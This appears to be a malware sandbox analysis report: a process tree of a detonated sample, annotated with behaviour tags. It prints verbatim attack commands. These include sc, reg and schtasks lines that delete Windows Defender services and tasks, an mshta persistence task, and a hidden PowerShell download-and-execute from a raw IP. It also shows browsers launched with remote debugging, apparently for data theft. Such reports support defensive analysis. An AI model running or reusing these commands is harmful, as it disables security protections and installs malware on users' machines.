        sc delete "wscsvc"
        9⤵
        Launches sc.exe
        
        PID:2064
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        9⤵
        Modifies security service
        
        PID:4196
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        9⤵
        Launches sc.exe
        
        PID:4108
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        9⤵
        Launches sc.exe
        
        PID:4168
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        9⤵
        
        PID:5968
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        9⤵
        Launches sc.exe
        
        PID:5920
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        9⤵
        Launches sc.exe
        
        PID:5080
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        9⤵
        
        PID:4800
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        9⤵
        Launches sc.exe
        
        PID:3224
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        9⤵
        Launches sc.exe
        
        PID:5976
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        9⤵
        
        PID:704
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        9⤵
        Launches sc.exe
        
        PID:5552
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        9⤵
        Launches sc.exe
        
        PID:5540
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        9⤵
        
        PID:4860
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        9⤵
        Launches sc.exe
        
        PID:2972
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        9⤵
        Launches sc.exe
        
        PID:1612
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        9⤵
        
        PID:4884
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        9⤵
        Launches sc.exe
        
        PID:1248
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        9⤵
        Launches sc.exe
        
        PID:1508
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        9⤵
        
        PID:4772
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        9⤵
        Launches sc.exe
        
        PID:5972
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        9⤵
        Launches sc.exe
        
        PID:3216
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        9⤵
        
        PID:3452
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        9⤵
        Launches sc.exe
        
        PID:3016
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        9⤵
        Launches sc.exe
        
        PID:4012
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        9⤵
        
        PID:4532
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        9⤵
        Launches sc.exe
        
        PID:5760
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        9⤵
        Launches sc.exe
        
        PID:1432
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        9⤵
        
        PID:4548
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        9⤵
        Launches sc.exe
        
        PID:5264
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        9⤵
        Launches sc.exe
        
        PID:2464
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        9⤵
        
        PID:2292
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        9⤵
        Launches sc.exe
        
        PID:2784
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        9⤵
        Launches sc.exe
        
        PID:5240
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        9⤵
        
        PID:1820
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        9⤵
        
        PID:5376
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        9⤵
        
        PID:1808
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        9⤵
        
        PID:1752
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        9⤵
        
        PID:3856
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        9⤵
        Launches sc.exe
        
        PID:2300
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        9⤵
        Launches sc.exe
        
        PID:3480
  - - C:\Users\Admin\AppData\Local\Temp\10473220101\d93e9cdc1d.exe
      "C:\Users\Admin\AppData\Local\Temp\10473220101\d93e9cdc1d.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:4388
  - - C:\Users\Admin\AppData\Local\Temp\10473230101\a52ee28fb4.exe
      "C:\Users\Admin\AppData\Local\Temp\10473230101\a52ee28fb4.exe"
      4⤵
      Executes dropped EXE
      PID:4196
  - - C:\Users\Admin\AppData\Local\Temp\10473240101\wQI4o11.exe
      "C:\Users\Admin\AppData\Local\Temp\10473240101\wQI4o11.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5248
  - - C:\Users\Admin\AppData\Local\Temp\10473260101\3fe1650dab.exe
      "C:\Users\Admin\AppData\Local\Temp\10473260101\3fe1650dab.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2468
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn 06xGKmanOKs /tr "mshta C:\Users\Admin\AppData\Local\Temp\P4v38DPjL.hta" /sc minute /mo 25 /ru "Admin" /f
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5280
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn 06xGKmanOKs /tr "mshta C:\Users\Admin\AppData\Local\Temp\P4v38DPjL.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5068
    - - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\P4v38DPjL.hta
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2464
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
        
        "C:\Users\Admin\AppData\Local\TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1992
  - - C:\Users\Admin\AppData\Local\Temp\10473270101\5edbebbb11.exe
      "C:\Users\Admin\AppData\Local\Temp\10473270101\5edbebbb11.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5920
  - - C:\Users\Admin\AppData\Local\Temp\10473280101\wQI4o11.exe
      "C:\Users\Admin\AppData\Local\Temp\10473280101\wQI4o11.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1428
  - - C:\Users\Admin\AppData\Local\Temp\10473290101\VrQSuEQ.exe
      "C:\Users\Admin\AppData\Local\Temp\10473290101\VrQSuEQ.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:1556
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4020
  - - C:\Users\Admin\AppData\Local\Temp\10473300101\amnew.exe
      "C:\Users\Admin\AppData\Local\Temp\10473300101\amnew.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:1268
    - - C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        5⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1096
      - C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:3684
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4208
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa532bdcf8,0x7ffa532bdd04,0x7ffa532bdd10
        9⤵
        
        PID:4412
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1528,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2572 /prefetch:3
        9⤵
        
        PID:3328
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2536,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2532 /prefetch:2
        9⤵
        
        PID:5716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2044,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2592 /prefetch:8
        9⤵
        
        PID:5192
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3256,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3320 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:4440
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3360 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:1960
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4232,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4216 /prefetch:2
        9⤵
        Uses browser remote debugging
        
        PID:5768
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4708,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4684 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:5124
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5512,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4388 /prefetch:2
        9⤵
        
        PID:6220
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=2560,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2500 /prefetch:8
        9⤵
        
        PID:7332
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=2608,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3436 /prefetch:8
        9⤵
        
        PID:7520
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5308,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5432 /prefetch:8
        9⤵
        
        PID:6292
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5416,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2732 /prefetch:8
        9⤵
        
        PID:6376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=2688,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2716 /prefetch:8
        9⤵
        
        PID:6408
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5340,i,16524740872040773955,9991203861240883316,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5264 /prefetch:8
        9⤵
        
        PID:6844
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        8⤵
        Uses browser remote debugging
        
        PID:10748
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x24c,0x7ffa460df208,0x7ffa460df214,0x7ffa460df220
        9⤵
        
        PID:10768
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1952,i,14018809794973167804,1963997307355946046,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        9⤵
        
        PID:10956
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2240,i,14018809794973167804,1963997307355946046,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:3
        9⤵
        
        PID:10960
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2596,i,14018809794973167804,1963997307355946046,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:8
        9⤵
        
        PID:11148
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3532,i,14018809794973167804,1963997307355946046,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:11400
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3540,i,14018809794973167804,1963997307355946046,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
        9⤵
        Uses browser remote debugging
        
        PID:11396
        
        C:\ProgramData\6ppppzmgdj.exe
        
        "C:\ProgramData\6ppppzmgdj.exe"
        8⤵
        
        PID:10220
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        9⤵
        
        PID:10464
        
        C:\ProgramData\mgvs2djmg4.exe
        
        "C:\ProgramData\mgvs2djmg4.exe"
        8⤵
        
        PID:10972
        
        C:\ProgramData\mgvs2djmg4.exe
        
        "C:\ProgramData\mgvs2djmg4.exe"
        9⤵
        
        PID:11092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        10⤵
        
        PID:11576
        
        C:\Users\Admin\AppData\Local\50TUU4ONUE9m.exe
        
        "C:\Users\Admin\AppData\Local\50TUU4ONUE9m.exe"
        10⤵
        
        PID:25476
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        11⤵
        
        PID:1476
        
        C:\Users\Admin\AppData\Local\1lpkypFd0zpW.exe
        
        "C:\Users\Admin\AppData\Local\1lpkypFd0zpW.exe"
        10⤵
        
        PID:10816
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        11⤵
        
        PID:10884
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        11⤵
        
        PID:10912
        
        C:\Users\Admin\AppData\Local\xM46r69BpBL6.exe
        
        "C:\Users\Admin\AppData\Local\xM46r69BpBL6.exe"
        10⤵
        
        PID:11188
        
        C:\Users\Admin\AppData\Local\Temp\6PDzYaIT\FkaE3QxXgyBRnbfM.exe
        
        C:\Users\Admin\AppData\Local\Temp\6PDzYaIT\FkaE3QxXgyBRnbfM.exe 0
        11⤵
        
        PID:11364
        
        C:\Users\Admin\AppData\Local\Temp\6PDzYaIT\ihkuWmg5LtCClq19.exe
        
        C:\Users\Admin\AppData\Local\Temp\6PDzYaIT\ihkuWmg5LtCClq19.exe 11364
        12⤵
        
        PID:25572
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 25572 -s 628
        13⤵
        Program crash
        
        PID:31344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 11364 -s 668
        12⤵
        Program crash
        
        PID:31336
        
        C:\ProgramData\e3wtjw47yu.exe
        
        "C:\ProgramData\e3wtjw47yu.exe"
        8⤵
        
        PID:11672
        
        C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\AHhbHt9KGYNzy4Pq.exe
        
        C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\AHhbHt9KGYNzy4Pq.exe 0
        9⤵
        
        PID:11828
        
        C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\r3vWe5WLBJbgfyZt.exe
        
        C:\Users\Admin\AppData\Local\Temp\jrmkAUGn\r3vWe5WLBJbgfyZt.exe 11828
        10⤵
        
        PID:12296
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 12296 -s 984
        11⤵
        Program crash
        
        PID:19100
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 11828 -s 1064
        10⤵
        Program crash
        
        PID:19076
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\lxb1v" & exit
        8⤵
        
        PID:25400
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 11
        9⤵
        Delays execution with timeout.exe
        
        PID:25544
      - C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\alex12312321.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5452
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3436
      - C:\Users\Admin\AppData\Local\Temp\10046340101\ec7c0303f2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10046340101\ec7c0303f2.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:8092
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Bc.wbk Bc.wbk.bat & Bc.wbk.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4336
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:9952
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:9968
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:10068
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10064
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 674187
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10168
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Funky.wbk
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10220
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Und" Tournament
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10448
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 674187\Constraints.com + Lu + Pepper + Cn + Hairy + Nose + Providence + Bra + Corresponding + Promo + Ending 674187\Constraints.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10476
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Losses.wbk + ..\Finally.wbk + ..\Medications.wbk + ..\Borough.wbk + ..\Trim.wbk + ..\Ellis.wbk + ..\Truly.wbk + ..\Was.wbk r
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10548
        
        C:\Users\Admin\AppData\Local\Temp\674187\Constraints.com
        
        Constraints.com r
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:10604
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:10720
      - C:\Users\Admin\AppData\Local\Temp\10047850101\crypted.exe
        
